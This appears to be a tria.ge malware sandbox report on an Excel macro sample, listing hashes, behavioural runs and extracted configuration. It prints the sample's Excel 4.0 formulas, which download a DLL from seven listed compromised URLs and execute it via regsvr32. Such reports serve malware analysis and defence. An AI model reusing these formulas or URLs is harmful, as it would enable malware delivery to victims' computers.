Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
General
-
Target
11aa3c639e2963d7151b756ef5cdf787767baf7d8efc2611c3f22d60a6391753
-
Size
21KB
-
Sample
241111-zwawdawfnn
-
MD5
b551ae8fd3033ce21f6d15897c4926a3
-
SHA1
91364d784be34051f88e217b4379fb9a6e852e06
-
SHA256
11aa3c639e2963d7151b756ef5cdf787767baf7d8efc2611c3f22d60a6391753
-
SHA512
7ef4ca83a0e047634a47566c82b2e31758a5ecc4e05ad876d650abc7fb190eddea1e5882d2480357e16a12f53ef86bd0fff6a9b18b3697ef0d9c373fd8aaa499
-
SSDEEP
384:CAuAi/NjNMS8EibbwBlw7SYrLb5CzgObff9kC+xbX75zSCCD:CosNRSzXnFCBn9kC+xbL5eH
Behavioral task
behavioral1
Sample
11aa3c639e2963d7151b756ef5cdf787767baf7d8efc2611c3f22d60a6391753.xlsm
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
11aa3c639e2963d7151b756ef5cdf787767baf7d8efc2611c3f22d60a6391753.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
https://www.bodyuppatientlift.com/cgi-bin/EetvDjAbvFD/
http://www.bmamone.com/88vKqPdoeC6c7mG/
http://bimbelui.com/ujianonline/qXg/
http://www.arkpp.com/ARIS-BSU/cf0r3V6j5M3uSUI/
http://blog.raceng.com.br/wp-includes/HncXOVGXHu4/
https://www.bovito.hu/modules/ihNZzatAdWd67ATz/
http://ballabhbhaisahab.com/cgj-bin/EFP7HOwsOGIQq/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.bodyuppatientlift.com/cgi-bin/EetvDjAbvFD/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.bmamone.com/88vKqPdoeC6c7mG/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bimbelui.com/ujianonline/qXg/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.arkpp.com/ARIS-BSU/cf0r3V6j5M3uSUI/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://blog.raceng.com.br/wp-includes/HncXOVGXHu4/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.bovito.hu/modules/ihNZzatAdWd67ATz/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ballabhbhaisahab.com/cgj-bin/EFP7HOwsOGIQq/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()
Extracted
https://www.bodyuppatientlift.com/cgi-bin/EetvDjAbvFD/
http://www.bmamone.com/88vKqPdoeC6c7mG/
http://bimbelui.com/ujianonline/qXg/
http://www.arkpp.com/ARIS-BSU/cf0r3V6j5M3uSUI/
http://blog.raceng.com.br/wp-includes/HncXOVGXHu4/
https://www.bovito.hu/modules/ihNZzatAdWd67ATz/
http://ballabhbhaisahab.com/cgj-bin/EFP7HOwsOGIQq/
Targets
-
-
Target
11aa3c639e2963d7151b756ef5cdf787767baf7d8efc2611c3f22d60a6391753
-
Size
21KB
-
MD5
b551ae8fd3033ce21f6d15897c4926a3
-
SHA1
91364d784be34051f88e217b4379fb9a6e852e06
-
SHA256
11aa3c639e2963d7151b756ef5cdf787767baf7d8efc2611c3f22d60a6391753
-
SHA512
7ef4ca83a0e047634a47566c82b2e31758a5ecc4e05ad876d650abc7fb190eddea1e5882d2480357e16a12f53ef86bd0fff6a9b18b3697ef0d9c373fd8aaa499
-
SSDEEP
384:CAuAi/NjNMS8EibbwBlw7SYrLb5CzgObff9kC+xbX75zSCCD:CosNRSzXnFCBn9kC+xbL5eH
Score10/10 -